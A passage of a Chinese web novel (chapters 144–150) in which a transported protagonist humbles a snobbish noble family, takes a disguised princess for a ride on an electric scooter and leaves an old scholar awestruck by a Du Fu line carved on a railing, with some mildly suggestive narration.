江云帆嘴角微微一抽。
没想到在前世电视剧里被用烂的这句,放在大乾依然能说出口。
没等他回答,后方的吕兰萱和陈子钧二人便迅速走了过来。
吕兰萱的目光在江云帆身上审视了一
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圈,随即开口客套:“江公子大名如雷贯耳,今日在这客栈中耳闻公子词曲,实在是惊撼万分!”
吕向明连忙介绍:“先生,这便是家姐,我等此行事宜都由她做主。”
江云帆点头,对吕兰萱微微一笑:“关于客栈那首词曲,各位应该是被有心之人误导了,我江云帆不过是个小小杂工,哪懂那拟曲作词的学问。”
“看吧,果然如我所言!”
陈子钧嘴角挂着冷笑,从吕兰萱背后大摇大摆地走出来,“有的人看似名声在外,实则不过是沽名钓誉,哪有什么真本事?”
听到这句阴阳怪气,吕文睿两兄弟顿时面露反感。
而吕兰萱则顺势说道:“实不相瞒,江公子。我京城吕家,在外讲究口碑,无论你是否有真才实学,家父都不可能容许两位弟弟拜入过往有劣迹的人门下,所以……抱歉了。”
江云帆:“?”
他懵了,怎么听这话的意思,是自己死皮赖脸想当人师傅呢?
江云帆正无语,陈子钧便又迫不及待地开口:“江云帆,你可千万别觉得委屈。”
“你想攀上吕家,我明白,毕竟生在镜源县这样的穷乡僻壤,谁又不想飞上枝头变凤凰呢?”
“但你错就错在不诚实!”
“窃取他人的作品,为自己谋取利益,一个善于欺骗的人,终究只能自食恶果。停止幻想吧江云帆,吕家瞧不上你的!”
这一刻,陈子钧满脸戏谑,心里前所未有的爽快。
让江云帆难堪,也算是小小地报了一下先前那两巴掌的仇。
然而他本以为江云帆会就此认清现实,却殊不知,那家伙只在嘴角勾起一抹浅笑。
“你说得没错,这世间不诚者甚众,有的善于欺人骗物,而有的……”
江云帆目光落在陈子钧脸上,声音逐渐冷厉,“却妄图瞒天过海!”
“你……”
陈子钧咬牙切齿。
一时之间,他的脸色完全暗沉下来。就连脸颊上那尚未消去的两道五指印,也变得更为鲜红。
第145章 我吕家算个什么东西
“江公子这话什么意思?”
吕兰萱眼中闪过一丝不悦。
看来江元勤说得没错,他的这个弟弟,别的什么本事没有,狂妄自大倒是有一手,而且极其不懂礼数,目中无人。
就拿眼前这说话的态度来看。
吕家好歹是京城贵族,而江云帆不过是偏远江南的一介平民,不应该时刻保持低眉垂首,仪态诚恳吗?
可他在跟子钧对话时,眼睛里明显透露着十足的傲慢,甚至轻蔑。
当然,看在两位弟弟的份上,吕兰萱也没有发作。
她只开口说道:“江公子若意有所指,不妨直接说出来,少些弯弯绕绕。”
听到这话,倒是陈子钧先慌了。他直接拉上吕兰萱的手,打算寻车离开。
嘴里还不停说道:“兰萱,咱们不必听他胡言,这小子定是谎言被拆穿,气急败坏了!”
然而吕兰萱却直接挣开,显然是不打算就这么走了。
“江公子,你说吧。”
她自信江云帆说不出个什么所以然来,正好也让两位弟弟看清楚,眼前这个满嘴谎言的人,当不了他们的先生。
迎着吕兰萱的目光,江云帆微微一笑:“吕小姐自然可以不信我的话。不过正好到了镜源县,我建议你去查一查,你们吕家的大姑爷,当初在进京赶考的时候,所携的路费盘缠,都是从何处得来的!”
“你……你休要胡乱造谣挑拨离间,我进京时的路费是找人借的!”
陈子钧明显慌了神。
当初进京赶考的钱,其实是白瑶变卖家资为他凑的。
这是他最不想聊起的话题,可眼前这小子明显是冲着搞死自己来的。
想到这他连忙又拉起吕兰萱的手:“兰萱,借钱这事,我是一早就告诉过你的,对吧?”
“没错。”吕兰萱冷着脸道,“我相公虽出身贫寒,却勤勉好学,借钱赴京也是无奈之举,这一点比江公子身为豪门少爷却不思进取强多了!”
“是吗?”
江云帆不慌不忙,“既然这钱是借的,那么可有归还?”
“!”
吕兰萱心里猛地一惊。
是啊,光说借钱,可这一年以来,还从未听子钧提起过还钱的事。
陈子钧心里也慌了,自己当初千演万演,却偏偏演漏了还钱这一步,居然就因为这一点被对方给抓住了把柄!
“陈大姑爷!”
江云帆突然抬高嗓音,吓得陈子钧浑身一哆嗦。抬起头看江云帆,陈子钧只觉得那笑容竟恐怖如斯。
“你如今已身入豪门,想必也不缺那点银两,此番回来,不如把钱还了?”
“我我……我当然会还,这不还没找到闲暇的时间吗?”
“希望如此,到时候可记得带上利息!还有,你所欠下的,恐怕不止钱……”
江云帆说完,正打算迈步离开。
却被吕兰萱给叫停:“你站住!”
此时此刻,吕大小姐面色冷傲,已然是拿出了身为京城贵族那高高在上的姿态。
她当然看出陈子钧反应不对,也猜测其中可能有自己不知道的事。
但在外面,吕家的威严不容挑衅!
“江云帆,我提醒一句,你最好时刻认清自己的身份!一介俗民,何等卑劣?却在与我相公说话时,这般傲慢无礼,简直不把我吕家放在眼里!若非看文睿和向明的面子,今日我定饶不了你!”
“……”
此话一出,全场寂静。
吕文睿和吕向明两人表情明显一怔,他们知道先生随性洒脱、不惧权贵,如今被阿姐这般斥责……恐怕他们的拜师计划,是彻底泡汤了。
而陈子钧在顿了片刻后,立马大声附和:“没错,江云帆,敢在我吕家面前叫嚣,你算个什么东西!”
什么东西?
“敢在江公子面前叫嚣,你又算个什么东西?”
一道冷漠的女声响起,在场众人当即一愣。
待回过神,便见两名女子,已然来到眼前。
那两名女子中,一人身着黑衣,怀抱长剑,面色冰冷。而另一人则穿着儒袍,身形高挑,乌黑长发如瀑般泻落背后,一张脸庞完美无瑕,好似那谪凡的仙子。
当真是绝色倾城!
只是她太骄傲了。
骄傲到即便没有任何表情,也能让人感觉到周围的空气彻寒刺骨,好似只要靠近她,就等同于靠近了一个冬季。
那样的气质,任谁见了都不寒而栗。
而真正感觉到恐惧直透心脏的,唯有吕兰萱。
吕大小姐在看去那女子模样的一刹那,便猛地瞪大双眼,“嘶”的一声,将一口凉气直接吸进腹底。
是她……怎么会是她?!
吕兰萱整个人僵住了。
那张脸,她只见过一次,但也就是那一次,让她一辈子也忘不掉了。
就在一年以前,她有幸通过身为宰相之女的表姐的关系,跟随太子与长公主殿下,一同在皇宫朝天门前,迎接那位自江南而来,无比尊贵的临汐郡主。
吕兰萱发誓,那是她此生见过最美的女子!
即便她同为女人,也不得不为那张脸感到万般惊艳。
而她无论如何也想不到,今日在这小小的镜源县,在这简陋的湖畔客栈门前,竟然再一次见到了这张脸!
也就是说,面前之人……正是那位临汐郡主!
空气陷入死一般的寂静。
良久之后,终于一道质问将其打破。
“你们又是谁?”
回过神来的陈子钧将眉头一挑,语气中带着几分叫嚣,“要帮江云帆?可知我东云……”
“住嘴!”
情急之下,吕兰萱直接一脚踹在他腿上。
陈子钧一脸委屈:“兰萱,你……”
“蠢货,我让你住嘴啊!”
这一声呵斥,陈子钧终于老实了。
傻子也该明白,面前这两名女子不好惹,就连身为吕家大小姐的吕兰萱也畏惧不已。
空气的宁静继续,直到那绝色女子,一步步走到了江云帆跟前。
接着,一只雪白的素手伸出,轻轻挽上江云帆的胳膊。
“我们走吧。”
“!”
只一瞬间,吕兰萱心中的惊愕与惶恐,直接冲上了天灵盖。
她,临汐郡主,与江云帆……
怎么会!
吕兰萱彻底慌乱了。
可方才自己和陈子钧说过的话,却依旧像尖针一样在刺痛自己的内心……
【江云帆,我提醒一句,你最好时刻认清自己的身份!】
【一介俗民,何等卑劣?】
【敢在我吕家面前叫嚣,你算个什么东西!】
呵……
完了。
在这位面前,她们吕家,算什么东西……
第146章 这就是电驴儿?
吕兰萱此刻心惊胆颤。
甚至把呼吸都压到丝毫无声的地步,生怕自己的任何一点举动,都会引起对方的注意。
她当然恐惧万分。
吕家百年基业,虽说当下仍是父亲掌权,但大部分的经营事宜,早就已经交给她来接手运作。可以说吕家如今的产业与人脉,有很大一部分都是属于她的。
但倘若面前这位郡主殿下,因为刚才的事生气了,那么只需要一句话,就能让整个吕家的一切,统统覆灭!
恨啊!
此刻吕兰萱恨不得自己从一开始就没有出现在这里,甚至根本就没有来镜源县。
这种命运被别人掌握在手中的感觉,就像有一把铡刀悬在脖子上,若是自己稍微一动,它就掉下来了!
好在,郡主殿下似乎并没有打算在他们身上浪费时间。
甚至从面前走过去的时候,全程连一个眼神都没有给他们。
只在江云帆点头之后,两人一同朝着道路前方走去。
不过,那名持剑的黑衣女护卫,却在此刻停下了脚步。
女护卫的眼神无比冷漠。
而刚才那一句“敢在江公子面前叫嚣,你又算个什么东西”,正是出自她口中。
不过吕兰萱在面对她时,内心的紧张却稍稍舒缓了些,远没有刚才看那位郡主侧脸时一般的窒息感。
“警告你们一句。”墨羽冷冷开口,“往后,认清自己的身份,与江公子为敌,便是与我家小姐为敌。”
“这位姑娘……”
陈子钧迅速回过神来,朝墨羽露出一抹谄笑,“斗胆问一下,你们小姐……是来自哪家的闺秀啊?”
“刷!”
一道寒芒袭来,那是墨羽的眼刀。
顷刻间杀意凌然,陈子钧的目光与那眼神甫一接触,内心当即如坠冰窟,只感觉全身彻凉。
吕兰萱见状,慌忙称歉:“姑娘,我相公出身卑贱,从幼不知礼数,烦请姑娘莫要与他一般见识!”
出身卑贱,不知礼数?
听到这话的陈子钧,将自己的后槽牙死死咬住,脸色变得又红又紫。
那种屈辱的感觉又回来了。
成婚这一年以来,吕兰萱一直对他尊重有加,从未谈论过他的平民身份,更没有瞧不起他的过往。
这让他一度以为,自己已经彻底步入了上层社会。
可今日,吕兰萱竟直言他卑贱!
陈子钧很讨厌这样的感觉,这种被人当狗一样看待的感觉。
“好自为之。”
墨羽再冷冷道了一声,便将眼神收回,不再搭理。
……
此时,江云帆与秦七汐二人,已经来到了停车的地点。
位于秋思客栈东侧的一间小屋,以前用作柴房,后来因为距离厨房太远而被废弃,江云帆刚好掌有这里的钥匙,就用来做了个停车区。
把电动车放在这里,完全不用担心被偷。
脚步停在小门前,江云帆一脸无语地回头:“秦小姐,这门窄,只够一个人通过,你要不先把我松开?”
“啊?”
小郡主顿时一惊,连忙将抓住江云帆胳膊的手指松开,一张小脸刷的一下红了,“失礼,我方才没注意。”
“无妨。”
当然无妨,江少爷可一点不嫌弃这样的触感。
即便隔着身上这一层麻质衣物,手臂也能清晰感觉到秦七汐手指传来的柔软,以及一点点温热……皮肤有些酥酥麻麻。
而且江云帆心里清楚,秦七汐之所以当着众人的面拉他手臂,就是想要给他撑面子。
真是个善解人意的好姑娘!
不过,这姑娘抓着他半天不放,到底是不是没注意,那就不得而知了。
“秦小姐稍等片刻,待我将电驴儿赶出来。”
“额……好。”
秦七汐连忙往旁边退了好几步,似乎生怕那电驴儿出来会不受控制乱冲乱跑。
她睁着双眼,全神贯注地看着江云帆走进屋内。
不多时,屋内响起“嗡”的一声,极为粗犷,她连忙再退一步。
这声音好生奇怪,完全不像活物能发出的!
可若不是活物,又如何能载人而行?
正纳闷着,一道轻健的身影忽然从屋内窜出,速度快如闪电,但很快又发出“吱”的一声,在门前小道上骤然停下。
只见江云帆正骑乘着一个约莫四尺长度的物件,通体呈橘黄色,长有两角两轮,角用以手持,轮则接触地面,形状十分怪异。
很显然,这东西确实不是活物。
哪怕是在怀南城的奇珍阁内,秦七汐也从来不曾见过这样的奇物!
若非得形容,则更像是一种车,只不像马车那般两轮位于两侧,而是位于前后。且那黑色的轮子与马车的木轮也完全不同,小巧精致,浑圆规整,一看就是用无比高超的技艺打造而成。
“来,上车!”
江少爷回过头,将额前碎发潇洒一甩。
秦七汐茫然了:“……这,怎么上?”
“就像我这样。”
江云帆岔开双腿撑住地面,并将屁股往后挪了挪,演示了一下乘客的状态。
秦七汐何其聪明,一看就懂了。
她点点头,迈步走过去。待江云帆重新让出位置,便抬起一条修长的腿,轻而易举跨上那电动车的后座位。
这电动车并不宽敞,尽管两人体态都不宽腴,中间却也只留下一拳的空隙。
在如此近距离下,江云帆立刻闻到了秦七汐身上散发出来的那缕幽香。
这气息,不似什么外在的香薰香露,明显是天生自带的……
第147章 大奶牛是真的肯产奶
“江公子,这电驴儿看着有些消瘦,真能驮动咱们两人?”
坐在电动车上,秦七汐自然是有些局促的。且左右往下看了两眼,心中的疑惑是越来越重。
江云帆口中这“车”,小巧精致,且是用了一种不知名的材料打造而成。
看起来,远没有马车的实木那般牢固。
“放心吧。”江云帆答道,“这车少说能拉四百斤,秦小姐体重可有二百?”
“自然没有。”
秦七汐垂下头,那张俏脸忍不住更红了几分。
内心凌乱了片刻,她又缓缓开口,补充了一句:“不过……倒是快一百二了。”
一百二?
江云帆先是惊了一跳,心道姑娘你真有这么丰润吗?
不过他很快又反应过来。
虽说大乾也是个统一了度量衡的王朝,但这里的一斤,与21世纪五百克的一市斤,并不对等。
江云帆大致测算了一下,其比例大概在1.2:1的样子。
也就是说,秦七汐的不到一百二十斤换算下来,自然也就不到一百斤。
单看确实不瘦,可要配上这至少一米七的身高,还有那傲人的前突与后翘,这一百斤简直就是完美身材!
不错……
要不是对方身份尊贵,江云帆甚至都觉得,这姑娘简直就是处对象的绝佳人选。
“江公子……”
正想着,秦七汐的疑问又来了,“这车既无引绳,也无牛马牵拉,轮子要如何转动,车身又要如何前行呢?”
“坐好,让你体验一下。”
“嗡……”
江云帆断拧动车把,电动车当即发出一声低鸣,朝着前方猛冲而出。
秦七汐立马警觉,却还是无可避免的身体失衡后仰,慌乱之下连忙伸出双手,恰好一把抓住江云帆的两肋。
待回过神,便发现这电驴儿已经稳稳上了青石板的大道。
而且速度极快,坐在上面,能够清楚听见从耳旁刮过的呼呼风声。
可……这怎么会?!
不借助任何外力,便能载着人,在路上畅快奔行,这东西何等匪夷所思?
秦七汐把一双精致的秀眉都锁紧了。
她抬眼看向前方的江云帆,眼中的意外与好奇之色越发浓郁。
江公子……他到底是怎样一个人?
一次又一次改变自己的认知,在对方的世界里,究竟有多少非凡之事,与非凡之物?
【叮,震惊达成,来自秦七汐的情绪值:+1542!】
爆了!
又特么爆了。
尽管表面努力憋着,但江云帆此刻的内心,已经在仰天狂笑了。
哈哈哈……果然,多跟财神爷待在一块,准有好事!
什么叫做大奶牛?
只要你愿意用力挤,她是真的肯产奶啊!
江云帆甚至觉得,如果能同秦小姐朝夕相处,那么估计用不了多久,他的桃源居就能完成彻底的现代化改造。
江少爷那叫一个心里美。
可就在他回神之际,却突然注意到前方路口处,出现了一个长期被马车碾压而形成的大坑。
“吱!”
江云帆连忙一个急刹按下去,电动车发出一声锐鸣,堪堪停在坑前。
面对突如其来的变故,秦七汐自然毫无准备,故而当即因为惯性而身体前倾,狠狠撞在江云帆背上。
片刻后,又狠狠弹了回去。
“!”
只一刹那,江云帆眼睛都瞪圆了。
不是,这什么触感?
怎么能这么弹的!
他发誓,秦七汐这身女扮男装用的儒袍,实在是太过宽松,以至于他第一次见的时候看走了眼。
虽然他能猜到,这姑娘一定是做了收束处理,但在规模足够大的情况下,有些东西是收束不过来的!
很显然……江少爷往后得重视这位大奶牛了。
“唔……抱歉。”
秦七汐被撞得有些懵,连忙往后挪了挪,嘴上还道着歉。
却全然不知,这样撞上去根本不是自己的问题,而且吃亏的也不是江云帆。
“无事,秦小姐不必自责。”
江云帆迅速收回思绪,驾着车绕过那大坑,迅速驶至路口。
此时,墨羽和吕家四人依旧等在此处。
听到那“嗡嗡”声,五双眼睛同时看过来,下一刻全部瞪大。
“这……这是何物?”
随着陈子钧的一声疑问,空气很快便悄然无声。
唯有江云帆耳中嘈杂不已,连续五道情绪值到账的提示音,又让他收获了超过七百点的情绪值。
“小姐,这电驴儿,好神奇……”
墨羽是最先开口打破这安静的。
那电驴儿着实神奇,方才从远处奔行而来时,速度极快,关键她从始至终都不知这东西是如何前行的。
这时江云帆开口了:“墨羽姑娘,这玩意儿一次只能搭载两人,就麻烦你骑马随行了。”
墨羽点点头,但尚未从震惊中苏醒。
倒是吕兰萱很快恢复了知觉。
她连忙远远朝着江云帆弯腰行了一礼:“江公子,先前是我鼠目寸光,不知礼数,多有得罪,还望海涵。”
吕兰萱此刻内心十分清楚,要想让吕家免除祸患,那自己就必须做点什么。
其中最重要的一点,那就是取得江云帆的谅解。
她看得出来,那位高高在上的临汐郡主,对江云帆无比重视!
“道歉就不必了。”
江云帆将目光投过来,报以微笑,“不过有件事,还是得好心提醒一下吕小姐。回头,可与你的相公好好聊聊,问问他脸上的两个巴掌印,究竟因何而来!”
“你……”
听到这话,陈子钧脸色气得铁青。
他真的恨死江云帆了!
第148章 郡主她在“护食”
作为自幼生长在镜源县的江南人,陈子钧又怎可能不知道南毅王秦奉?
可以说,在这江南大地上,秦奉的身份,几乎可以比拟当今陛下,那是绝对高高在上的权力核心。
而世人皆知,南毅王独爱临汐郡主,其程度,可以说到了为之付出一切的程度。
可是现在……吕兰萱居然告诉他,江云帆身边那个书童模样打扮的女子,就是临汐郡主!
陈子钧的内心毫无疑问是惶恐的。
那女子确实貌若天仙,不负“江南第一美人”之名。可不合理的地方,在她为何会与江云帆如此亲近!
璀璨耀眼的明珠,为何会落在一滩腌臜的烂泥上?
陈子钧越想越气,脱口直言:“他江云帆凭什么?”
“凭什么?”
吕兰萱冰冷的声音传来,“陈子钧,你现在该操心的不是别人,而是你自己!”
“我……”
“说吧,你脸上的五指印究竟从何而来,别告诉我是拍蚊子留下的。”
此刻吕兰萱侧目看来,那眼神里带着审视,看得陈子钧心里直发毛。
他一时不知如何解释,只得故作一脸正经:“兰萱啊,你听我说,江云帆那家伙显然没安好心,他这是见不得别人家庭和睦,故意从中挑拨,咱们千万不要理会!”
吕兰萱并未回应,只深深凝视了他一眼。
收回目光后,冷冷道了一句:“以前我从不过问你的往事,是对你足够尊重,但是现在……我有些感兴趣了。”
“兰萱……”
吕兰萱抬脚便走,不再搭理陈子钧。
倒是一直站在旁的吕文睿和吕向明两兄弟,在相互对视了一眼之后,又立马跟上吕兰萱的步伐。
“阿姐,你方才的话,我们仔细想过了。”
“江先生虽然以前波折坎坷,身份落魄,但这并不影响他才华横溢,若是拜他为师,一定学有所获。所以,还望阿姐成全!”
吕兰萱顿下脚步。
她转头看向两位弟弟,眼神变得无比坚定:“当然得拜他为师!就算江公子不同意,那也一定要同他搞好关系,这对吕家来说,很重要!”
如今的江云帆,与先前她认为的江云帆,已经完全不一样了。
背后有南毅王府,这是多少人想要攀附的存在?
吕家要想在这激流涌动的大乾长久伫立,就必须找到真正有实力的靠山。
“多谢阿姐!”
吕文睿和吕向明两人欣喜抱拳。
……
与此同时,镜湖畔,那一道橘黄色正沿着青石板路呼啸前行。
距离王府楼舫,尚有一里之遥。
但在此处,就已经能够清晰看见那遮天蔽日的巨大身影,好似一座流浪的小山在岸边悬停。
不专心开车的江云帆很庆幸秦七汐是坐在自己身后的。
因为即便风在向后吹,他也能闻到一丝从女孩身上卷来的气息,让人浑身舒坦的同时,也容易有些心不在焉。
而反观秦七汐,却出奇地没有丝毫紧张。
即便久居王府之内,她从小到大甚至连马都没骑过,就算出行也是乘坐平稳宽敞的大马车。
但此刻坐在小电驴上,她反倒很享受这种飞驰的快意。
小郡主轻轻闭上双眼,嘴角浅浅微笑。
向两侧张开的双臂,向后舞动的长发,皮肤上沾染的湖畔清凉的湿润,一切都那么惬意。
真好……
秦七汐喜欢这样的感觉。
沐浴青草的芬芳,感受凉风的吹拂,不用去考虑一切愿望与烦恼。
只可惜,人生的美好总是很短暂,就像湖畔的这条路。
小电驴真的很快,不消片刻,宏伟的王府楼舫便已然近在咫尺。
在三号码头入口处,江云帆缓缓按下刹车。
“吱——”
随着电动车缓缓减速,让秦七汐无法抗拒的那种失衡感又一次传来。车上的皮革坐垫很是平整,即便有着布料的阻碍,那圆润的臀股依旧不受控制地往前滑动……
不光如此,她那软软的膝盖也因此碰上了江云帆的大腿,一路往前摩擦。
“……哒!”
滑行到底,小郡主那平坦的小腹,又一次撞在了江云帆的后腰上。
江云帆:“(ー_ー)!”
秦七汐:“(ー_ー)!”
空气短暂陷入凝滞,四下悄然一片。
江云帆心里是无力吐槽的。
美女,刹车的时候,你就不能拉住两侧的扶手吗?你这样直挺挺地撞上来,肚子也软,腿也软,缠绕过来的发丝还带着一股幽兰香,真的让人很难淡定诶!
江少爷是得了便宜还无语。
倒是秦七汐,双臂此刻依旧向两侧敞开着,竟尴尬得忘记收回来。
过了半晌,直到后方传来一阵突突突的马蹄声,她这才回过神来,连忙往后挪了挪。
“……失礼了,江公子。”
“哈……”
江云帆干笑一声回头,直盯着小郡主的眼睛:“先前你就是这样说的,是不是下次还敢?”
“不,不敢了。”
秦七汐连忙摇晃脑袋,左顾右盼一番,却不知如何下车。
江云帆撑住车身,看了看旁边的脚踏板:“踩这里,稍微当心点,害怕可以攀住我的肩膀。”
“好。”
秦七汐抿嘴一笑,按照步骤顺利下车。
就在这时,骑马赶来的墨羽也成功抵达路口。冷面侍卫翻身下马,快步跑到秦七汐身边。
“小姐,方才可有不适?”
墨羽是一路追着这电驴儿来的。
在下坡的平整路段,她发现这东西迅捷如风,丝毫不逊色百里挑一的骏马,比起马车更是快上太多。
所以她匆匆赶来询问,就是害怕秦七汐受到惊吓。
秦七汐摇摇头,尚未开口,便听江云帆说道:“当心我这驴儿不安全?墨羽姑娘想不想来试试。”
“不!”
秦七汐果断回头,斩钉截铁,“她不想。”
墨羽:“……”
好吧……
正如青璇所言,墨羽承认自己很愚钝。
但此时此刻,即便是愚钝如她也能看得出来,平日里那位骄傲冷漠的郡主殿下,好似完全变了一个人。
以前的殿下,哪会在乎别人的什么事?
可现在的样子,若要用一个词来形容……那就是“护食”!
……
第149章 万里悲秋常作客,百年多病独登台
“我这便上船去取令符,江公子可愿同行?”
“我就不去了,在这等着就好。”
说到底,江云帆还是不太喜欢抛头露面的,尤其眼前这王府楼舫之上,多是自各地而来的达官显贵。
就算不与他们产生交流,混脸熟也是没什么好处的。
“那好,那就劳烦公子稍待了。”
秦七汐微微欠身行了一礼,随即领着墨羽便上了楼船的舷梯。
“殿下,您当真要把我借给这家伙?”踏上甲板那一刻,墨羽终于是忍不住问了出口。
秦七汐迈步往二层而去,边走边答:“江公子直到你武艺高强,特意向我借人,一定是要去面对危险之事,所以你必须去。”
“可是……按照王爷的命令,最迟明晨,我们就得回怀南城了。”
“那到时候,就看老师作何解释了。”
秦七汐回头望向远方的秋思客栈。
今日一早,那老头子就嚷嚷着要去秋思客栈品饮仙露,估计这会早已经醉倒在茅台酿的酒香之中了。
其实早在那日念荷亭下,秦七汐就与沈远修商量妥当,要以亭柱刻诗为由,请父王给予江云帆奖赏。顺便,再以王府文书的形式,请江云帆共赴怀南城。
这件事由沈远修亲自操办,怎奈何,父王的回信至今未达。
所以秦七汐当前的想法,就是能拖延一点,就拖延一点……
……
确如秦七汐所料,沈远修此刻在秋思客栈,已然喝得天旋地转。
他摇摇晃晃,来到后院外的湖畔。
刚一踏上观景的木台,用手扶稳围栏,便听到身后传来一声呼喊。
“沈先生!”
这声音突如其来,惊得沈远修当即清醒了不少。
他循声回头望去,只见那客栈后院的大门口,一位身着紫色缊袍的男子,正满怀笑意地朝这边小跑而来。
待对方走近之后,他方才认出那张脸,正是凌州江家的二公子,江云帆的兄长江元勤。
江元勤赶忙压低身形,对着沈远修一个深鞠躬:“晚辈见过先生,没想到如此有幸,又在这客栈遇见了先生!”
沈远修摆摆手,示意他免礼。
而后轻声笑道:“江二公子今日又到此处,是为寻找令弟?”
一听到“令弟”这两个字,江元勤的脸色立马黑了三度,两边脸颊上挨过的巴掌,又变得更痛了几分。
该死的江云帆!
这种窝囊废,懦弱了一辈子,今日居然敢动手打他。江元勤发誓,等眼下的要事办完,一定要让那小子付出百倍的代价!
不过,此刻归雁先生就在眼前,他还是没有把愤怒表现出来。
“先生误会了,自当初江云帆离家以后,我与他便没了瓜葛。今日到此,只是想同这里的文人墨客,交流一番诗词文赋而已。”
“原来如此。”
沈远修应付着点头。
不过内心确实把一切都看得透透彻彻,毕竟先前江元勤在台上大斥江云帆过往重重,他可是一五一十都听在耳朵里的。
且不论江元勤所述虚实,光是在背后非议别人这事,沈远修就很看不惯。
“那么江公子此刻找到老夫,又是所为何事?”
“关乎凌州讲学一事。”
江元勤理了理衣衫,一脸正色道,“如今一年一度的镜源万灯节已然结束,各方游者归乡,今晚我也要返回凌州了。此刻凌州城内,知府与院正大人都还在苦心恭候,就是不知先生何时能有闲暇,将所议讲学之事提上日程?”
讲学,那是沈远修一早就答应的事,只可惜因为镜湖文会上的一句“众里寻他千百度”,就此耽搁。
江元勤自然还是想将其补上的。
只要他能将归雁先生请到凌州去,那么一来江家的声望与地位,能在城内大大提升。
二来,他也有机会和这位号称“江南双杰”之一的老大儒拉近关系,从而对自己往后在怀南城的仕途产生裨益,甚至还有可能得到对方亲眼,许自己拜入门下。
那么他的未来,必然是一片光明!
所以这会,在等待沈远修回答之时,江元勤的心都提到了嗓子眼,生怕对方会拒绝。
好在沈远修细细沉思了许久之后……
忽然抬起头来:“好,那便选在明日,我在返回怀南城前,特地来凌州一趟。”
一时间,江元勤欣喜若狂:“多谢先生!”
太好了!
完成了这第一步,那么相信未来所有的目标,都会逐步实现。
“江公子若无别的事,那就容老夫在此赏赏湖景罢。”
“明白,小生先行告辞!”
江元勤又行了一礼,随即屁颠屁颠地跑开了。
沈远修没看他的背影,只默默摇头苦笑。
他之所以答应对方,显然不是看在什么二甲进士,或是未来怀南主簿的面子。
要放在以往,为王爷招贤纳士,他或许对此稍感兴趣。
但最近经历这许多,见过了那几首旷古烁今的诗词,结识了江云帆之后,再想到三月前的异星凌空……沈远修觉得,所有的凡俗之事,都已不再重要了。
去凌州,也完全是听说江云帆在三个月前被赶出了江家。
为此,他打算去探探缘由,看看能不能通过这种方式,与江云帆拉近关系,或是查出一些有关星空异象的线索。
回过神来,沈远修默默在围栏边坐下,用手撑住地面,以稳住身形。
抬头看那湖光山色,茫茫一片,似有冷风吹拂。
对于江南之地来说,镜源县已是位于最北端。每年的七月七之后,伏天便过,天气会逐渐转凉,百花凋残,意味着秋天将至。
其实今日到这客栈,沈远修的目的不光是为了酒,也不光是为了诗,更有一个原因,是为了寻人。
然而此刻左顾右盼,空空如也的木台,全然不见昨夜那个蜷缩于此,对月长叹的苍老身影。
“老家伙……呸!”
“年轻的时候,老夫怕你,到现在轮到你怕老夫了吧!哈哈哈哈哈……咕噜!”
一口浓酒吞下,沈远修一张圆脸笑得皱成一团,本就不大的眼睛眯在一起,眼角隐隐有一丝浊泪渗出。
秋天到了啊……
秋天到,人也就老了。
有的太过老的,也就死了……沈远修清楚,明日之后,那老家伙与他,恐怕再无相见之日……
“啊哦——”
这茅台酿后劲可真大!
沈远修突觉一阵醉意上涌,忍不住打了个哈欠。而后在疲惫的驱使下,将头靠在面前的栏柱上,并用手牢牢将其扶住。
可就在这时,指尖突然传来的一行凹凸的触感,吸引了他的注意力。
他强撑着睁开双眼,将脑袋从木栏的缝隙中绕过,看向那栏杆上的细节……
只见那朱红色的木漆表面,赫然歪歪扭扭地用锐物刻着一行文字——
“万里悲秋常作客,百年多病独登台。”
“!”
这……这什么诗?
只一刹那,沈远修瞪得一双小眼大如铜铃。
原本覆盖全身的醉意,顷刻间消除一空!
……
第150章 丢掉了的,还能捡回来吗?
沈远修连自己都不清楚,他在这烟波渺渺的湖边,将身体趴在地面,把脑袋伸出栅栏,维持这滑稽的姿势,经过了多长时间。
直到四肢也麻了,力气也乏了,方才不支而倒地。
趴在冰冷的地面,鼻间有泥土和青草的味道,而脑袋里却完完全全被那一句诗给占满!
**悲秋常作客,百年多病独登台……
何等美妙绝伦?
仅此一句,便将那萧瑟秋日的茫茫无边书写出来,而在这秋日当中,一个垂垂老矣的生命,所感受到的唯有刺骨之寒、孤独之愁、病痛之苦与迟暮之悲。
沈远修他想象不到。
要写成这一句诗,需要多少坎坷的经历,需要多长厄难重重的人生,需要多高的文学水平,需要何等登凌浩宇的奇思妙想……
总之,就他自己而言,永远也达不到。
那么这首诗是谁刻在这里的?
沈远修的心里,第一时间便浮现出昨夜那个提着酒壶,佝偻身躯,疯疯癫癫蜷缩于此的身影。
那个老家伙,他写了一辈子的诗,佳作流传整个大乾,一度**南学子奉为“文圣”。
却在十年前的那个夜晚,突然宣布才思枯竭,就此封笔。
大乾文坛一片哀鸿。
如今十年过去了,他本以为对方已经死在了哪个深山老林。
却不知,竟又意外遇上了。
难道说,这十年的沉淀,反倒让他脱胎换骨,最终成就了湖边这一惊天之句!
“这个老东西……”
沈远修强撑起一抹笑容。
却全然不知,两行浑泪早已在脸上纵横。
在下意识间,沈远修猜测这句诗是由季云苍写下的,因为自己前一次与他相见,恰恰就在这个地点,这根木桩之前。
而且这诗也完美符合季云苍的风格,以及他的人生境遇。
只是,归雁大儒却完全没有想到。
这句令他惊为天物的诗,竟是某人闲来无事,坐在此处欣赏湖景时,用硬树枝随手刻下的。
那时的江云帆,才来这个世界不久。
成天考虑着如何获取情绪值,突然意识到大乾文人众多,便打算利用记忆中的千古诗词达成震惊。
脑子里最先想到的就是这首诗,于是顺手刻了下来。
而这会,误以为是季云苍写下此诗的沈远修,酒已经醒了大半。
他知道老东西难寻,所以第一反应,就是去找江云帆,准备与对方一同探讨一番。
……
与此同时,告辞离开的江元勤,在客栈大堂里遇见了许灵嫣。
尚书千金此刻看着有些恍惚,步伐凌乱,正自顾自地往门外走去。
见此一幕,江元勤急忙跟上去,一脸关切地问询:“许小姐,你没事吧,是否需要帮助?”
看许灵嫣的样子,的确像是即将病倒了。
许灵嫣缓缓停下脚步,转头看向江元勤。
目光呆滞,眼中无神,片刻之后又转了回去。
她也不知道自己现在在想什么,也不知道自己要什么,只是脑子里反反复复在回响“江云帆”这三个字。
或许她永远也想不明白吧……
为何在这最美好的年华,能无数次与自己苦苦追寻的人擦肩而过,到头来,发现对方竟在一开始就被自己丢掉了……
丢掉了的,还能捡回来吗?
“小姐!”
就在这时,自门口突如其来的一声呼喊,将她原地惊了一跳。
抬头一看,只见小缘正领着侯茂杰与徐坤二人,脚步匆忙地跑进大堂。
三人来到许灵嫣跟前,气喘吁吁。
“小……小姐,有消息,很重要的消息!”
“什么?”
“让侯公子来说吧。”
